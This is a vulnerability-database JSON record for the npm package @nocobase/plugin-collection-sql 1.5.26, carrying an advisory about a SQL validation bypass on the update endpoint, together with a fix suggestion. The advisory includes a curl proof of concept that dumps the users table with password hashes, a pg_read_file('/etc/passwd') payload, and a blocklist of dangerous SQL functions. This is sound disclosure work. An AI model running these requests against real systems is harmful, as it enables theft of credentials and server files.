{"url":"http://public2.vulnerablecode.io/api/packages/1011092?format=json","purl":"pkg:npm/%40nocobase/plugin-collection-sql@1.5.26","type":"npm","namespace":"@nocobase","name":"plugin-collection-sql","version":"1.5.26","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"2.0.39","latest_non_vulnerable_version":"2.0.39","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/17792?format=json","vulnerability_id":"VCID-uwjh-emrb-muaw","summary":"@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call\n## Summary\n\nThe `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.\n\n**Affected component:** `@nocobase/plugin-collection-sql`\n**Affected versions:** <= 2.0.32 (confirmed)\n**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)\n\n## Vulnerable Code\n\n### `checkSQL` is applied on create and execute\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`\n\n```javascript\n// Line 51-60 — execute action: checkSQL IS called\nexecute: async (ctx: Context, next: Next) => {\n    const { sql } = ctx.action.params.values || {};\n    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n    // ...\n}\n```\n\n### `checkSQL` is NOT applied on update\n\n```javascript\n// Line 105-118 — update action: checkSQL IS NOT called\nupdate: async (ctx: Context, next: Next) => {\n    const transaction = await ctx.app.db.sequelize.transaction();\n    try {\n        const { upRes } = await updateCollection(ctx, transaction);\n        // No checkSQL() call anywhere in this path!\n        const [collection] = upRes;\n        await collection.load({ transaction, resetFields: true });\n        await transaction.commit();\n    }\n    // ...\n}\n```\n\n### The `checkSQL` function itself\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`\n\n```javascript\nexport const checkSQL = (sql: string) => {\n  const dangerKeywords = [\n    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',\n    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...\n  ];\n  sql = sql.trim().split(';').shift();\n  if (!/^select/i.test(sql) && !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error('Only supports SELECT statements or WITH clauses');\n  }\n  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error('SQL statements contain dangerous keywords');\n  }\n};\n```\n\n## PoC\n\n```bash\nTOKEN=\"<admin_jwt_token>\"\n\n# Step 1: Create collection with valid SQL (passes checkSQL)\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"exfil_collection\",\n    \"sql\": \"SELECT 1 as id\",\n    \"fields\": [{\"name\": \"id\", \"type\": \"integer\"}],\n    \"template\": \"sql\"\n  }'\n\n# Step 2: Verify checkSQL blocks dangerous SQL on create\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"blocked\", \"sql\": \"SELECT pg_read_file('\\''/etc/passwd'\\'')\", \"fields\": [], \"template\": \"sql\"}'\n# Returns: 400 \"SQL statements contain dangerous keywords\"\n\n# Step 3: Update with dangerous SQL — bypasses checkSQL entirely\ncurl -s \"http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection\" \\\n  -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"sql\": \"SELECT * FROM users\",\n    \"fields\": [\n      {\"name\": \"id\", \"type\": \"integer\"},\n      {\"name\": \"email\", \"type\": \"string\"},\n      {\"name\": \"password\", \"type\": \"string\"}\n    ]\n  }'\n# Returns: 200 OK — no validation!\n\n# Step 4: Query the collection to exfiltrate data\ncurl -s \"http://TARGET:13000/api/exfil_collection:list\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: all rows from users table including password hashes\n```\n\n## Impact\n\n- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.\n- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.\n- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.\n\n## Fix Suggestion\n\n1. **Add `checkSQL()` to the `update` action.** The one-line fix:\n   ```javascript\n   update: async (ctx: Context, next: Next) => {\n       const { sql } = ctx.action.params.values || {};\n       if (sql) {\n           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n       }\n       // ... existing code ...\n   }\n   ```\n\n2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.\n\n3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41641","reference_id":"","reference_type":"","scores":[{"value":"0.00194","scoring_system":"epss","scoring_elements":"0.41158","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41641"},{"reference_url":"https://github.com/nocobase/nocobase","reference_id":"","reference_type":"","scores":[{"value":"7.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/nocobase/nocobase"},{"reference_url":"https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91","reference_id":"","reference_type":"","scores":[{"value":"7.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T14:13:49Z/"}],"url":"https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91"},{"reference_url":"https://github.com/nocobase/nocobase/pull/9134","reference_id":"","reference_type":"","scores":[{"value":"7.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T14:13:49Z/"}],"url":"https://github.com/nocobase/nocobase/pull/9134"},{"reference_url":"https://github.com/nocobase/nocobase/releases/tag/v2.0.39","reference_id":"","reference_type":"","scores":[{"value":"7.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T14:13:49Z/"}],"url":"https://github.com/nocobase/nocobase/releases/tag/v2.0.39"},{"reference_url":"https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh","reference_id":"","reference_type":"","scores":[{"value":"7.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T14:13:49Z/"}],"url":"https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41641","reference_id":"","reference_type":"","scores":[{"value":"7.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41641"},{"reference_url":"https://github.com/advisories/GHSA-wrwh-c28m-9jjh","reference_id":"GHSA-wrwh-c28m-9jjh","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-wrwh-c28m-9jjh"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/51115?format=json","purl":"pkg:npm/%40nocobase/plugin-collection-sql@2.0.39","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540nocobase/plugin-collection-sql@2.0.39"}],"aliases":["CVE-2026-41641","GHSA-wrwh-c28m-9jjh"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-uwjh-emrb-muaw"}],"fixing_vulnerabilities":[],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540nocobase/plugin-collection-sql@1.5.26"}